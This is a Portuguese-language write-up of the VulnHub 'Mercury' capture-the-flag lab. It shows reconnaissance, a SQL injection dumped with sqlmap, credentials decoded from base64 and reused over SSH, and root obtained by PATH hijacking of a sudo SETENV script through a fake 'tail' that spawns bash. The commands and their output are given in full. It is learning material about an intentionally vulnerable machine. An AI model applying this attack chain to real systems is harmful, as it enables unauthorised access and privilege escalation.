Capture The Flag - Exploração do laboratório Mercury
Laboratório Mercury
Mercury is an easier box, with no bruteforcing required. There are two flags on the box: a user and root flag which include an md5 hash.
O laboratório pode ser configurado usando VirtualBox. A imagem para download está disponível no repositório da VulnHub.
Para a exploração, considere uma máquina Kali Linux.
Se necessário, veja Kali Linux no Docker.
Reconhecimento
Com netdiscover -r 192.168.0.0/24 consegui identificar o IP da máquina na minha rede: 192.168.0.14.
Identificar as portas expostas com nmap
┌──(root㉿omarchy)-[/]
└─#nmap -sV 192.168.0.14
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-29 16:44 +0000 Nmap scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open http WSGIServer 0.2 (Python 3.8.2)
MAC Address: 08:00:27:86:70:54 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
O resultado mostrou uma aplicação web rodando na porta 8080 e, também, a porta para SSH (22) aberta.
Exploração da aplicação web
Visitar http://192.168.0.14:8080/ resulta em um texto HTML simples.
Hello. This site is currently in development please check back later
Os cabeçalhos de resposta não trouxeram informações novas
HTTP/1.1 200 OK
Date: Sat, 29 Aug 2026 16:52:05 GMT
Server: WSGIServer/0.2 CPython/3.8.2
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Content-Length: 69
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
A enumeração de diretórios com dirb não resultou em nada além do arquivo /robots.txt, que infelizmente não pôde me ajudar muito.
┌──(root㉿omarchy)-[/]
└─# dirb http://192.168.0.14:8080/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Aug 29 22:22:55 2026
URL_BASE: http://192.168.0.14:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.0.14:8080/ ----
+ http://192.168.0.14:8080/robots.txt (CODE:200|SIZE:26)
-----------------
END_TIME: Sat Aug 29 22:23:04 2026
DOWNLOADED: 4612 - FOUND: 1
Conteúdo de http://192.168.0.14:8080/robots.txt
User-agent: *
Disallow: /
Ainda tentando encontrar algo útil na aplicação web, testei colocar o caractere '*' na url e, surpreendentemente, a página de 404 retornou algumas rotas que eu poderia acessar.
Nota: A página exibiu as rotas porque a aplicação foi desenvolvida em Django e está rodando com o modo de depuração ativado (DEBUG = True).

[name='index']
robots.txt [name='robots']
mercuryfacts/
Identificação e exploração de SQL Injection
Depois de explorar http://192.168.0.14:8080/mercuryfacts/1/ e tentar trocar "1" por "*", ficou evidente que havia a vulnerabilidade.

Gastei um tempo tentando explorar a vulnerabilidade manualmente, e também realizando fuzzing no Burp Suite, porém não obtive nenhum retorno relevante.
Partindo pra uma abordagem mais agressiva, o sqlmap conseguiu extrair dados cruciais para que eu pudesse avançar no CTF.
sqlmap -u http://192.168.0.14:8080/mercuryfacts/ -D mercury --dump-all --batch
Database: mercury
Table: users
[4 entries]
+----+-------------------------------+-----------+
| id | password | username |
+----+-------------------------------+-----------+
| 1 | johnny1987 | john |
| 2 | lovemykids111 | laura |
| 3 | lovemybeer111 | sam |
| 4 | mercuryisthesizeof0.056Earths | webmaster |
+----+-------------------------------+-----------+
Com as credenciais em mãos, foi só utilizar para acessar a máquina via SSH e então obter a flag de usuário:
webmaster@mercury:~$ ls
mercury_proj user_flag.txt
webmaster@mercury:~$ cat user_flag.txt [user_flag_8339915c9a454657bd60ee58776f4ccd]
Elevação de privilégio
De cara tentei a abordagem com find que usei no laboratório DC-1, mas sem sucesso, pois não estava como SUID.
Retomando a exploração, explorei todos os arquivos no diretório do usuário webmaster e, além das credenciais do banco de dados que a essa altura já não eram mais úteis, encontrei credenciais de outro usuário Linux: linuxmaster.
webmaster@mercury:~$ cd mercury_proj/
webmaster@mercury:~/mercury_proj$ ls
db.sqlite3 manage.py mercury_facts mercury_index mercury_proj notes.txt webmaster@mercury:~/mercury_proj$ cat notes.txt
Project accounts (both restricted):
webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK
linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==
A senha parecia apenas texto em base64, então testei fazer o decode da senha do webmaster, e quando bateu com o que eu já conhecia, apenas repeti o processo para o novo usuário que obtive.
┌──(root㉿omarchy)-[/]
└─# echo "bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK" | base64 -d
mercuryisthesizeof0.056Earths
┌──(root㉿omarchy)-[/]
└─# echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d
mercurymeandiameteris4880km
Com as credenciais, fiz o acesso à máquina via SSH como linuxmaster. O usuário não tinha nada em seu diretório, então tentei listar quais privilégios de root ele poderia ter.
linuxmaster@mercury:/$ sudo -l [sudo]
password for linuxmaster:
Matching Defaults entries for linuxmaster on mercury: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User linuxmaster may run the following commands on mercury: (root : root) SETENV: /usr/bin/check_syslog.sh
O cenário que se apresentou então foi o seguinte: O usuário linuxmaster pode executar um script como root, e, além disso, tem a permissão explícita de sobrescrever variáveis de ambiente (SETENV).
Inspecionei o script mencionado e é bem simples, uma chamada para o binário tail. No entanto, vale a observação de que não é especificado no script o caminho absoluto para o binário, que seria /usr/bin/tail. Dessa forma, quando o script for executado, a variável de ambiente $PATH será consultada para encontrar o binário tail.
linuxmaster@mercury:/$ cat /usr/bin/check_syslog.sh
#!/bin/bash
tail -n 10 /var/log/syslog
Para, enfim, elevar o privilégio, optei pela abordagem mais simples que pude encontrar dado o contexto: PATH Hijacking (ou PATH Poisoning), que consistiu em criar um binário falso com o nome de tail que apenas executa /bin/bash, e alterar o PATH para que esse binário falso seja executado no lugar do original.
Uma vez tendo um bash com permissões de root, foi possível extrair a última flag.
linuxmaster@mercury:~$ echo '/bin/bash' > /tmp/tail
linuxmaster@mercury:~$ chmod +x /tmp/tail
linuxmaster@mercury:~$ sudo PATH=/tmp:$PATH /usr/bin/check_syslog.sh
[sudo] password for linuxmaster:
root@mercury:/home/linuxmaster#
root@mercury:/home/linuxmaster# cd /root/
root@mercury:~# ls
root_flag.txt
root@mercury:~# cat root_flag.txt
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@/##////////@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@(((/(*(/((((((////////&@@@@@@@@@@@@@
@@@@@@@@@@@((#(#(###((##//(((/(/(((*((//@@@@@@@@@@
@@@@@@@@/#(((#((((((/(/,*/(((///////(/*/*/#@@@@@@@
@@@@@@*((####((///*//(///*(/*//((/(((//**/((&@@@@@
@@@@@/(/(((##/*((//(#(////(((((/(///(((((///(*@@@@
@@@@/(//((((#(((((*///*/(/(/(((/((////(/*/*(///@@@
@@@//**/(/(#(#(##((/(((((/(**//////////((//((*/#@@
@@@(//(/((((((#((((#*/((///((///((//////(/(/(*(/@@
@@@((//((((/((((#(/(/((/(/(((((#((((((/(/((/////@@
@@@(((/(((/##((#((/*///((/((/((##((/(/(/((((((/*@@
@@@(((/(##/#(((##((/((((((/(##(/##(#((/((((#((*%@@
@@@@(///(#(((((#(#(((((#(//((#((###((/(((((/(//@@@
@@@@@(/*/(##(/(###(((#((((/((####/((((///((((/@@@@
@@@@@@%//((((#############((((/((/(/(*/(((((@@@@@@
@@@@@@@@%#(((############(##((#((*//(/(*//@@@@@@@@
@@@@@@@@@@@/(#(####(###/((((((#(///((//(@@@@@@@@@@
@@@@@@@@@@@@@@@(((###((#(#(((/((///*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%#(#%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Congratulations on completing Mercury!!!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_69426d9fda579afbffd9c2d47ca31d90]
Conclusão
Mercury foi um excelente segundo CTF para mim. Ele me possibilitou consolidar aprendizados que obtive na exploração anterior e agregou ainda mais abordagens e ferramentas que levarei para os próximos laboratórios.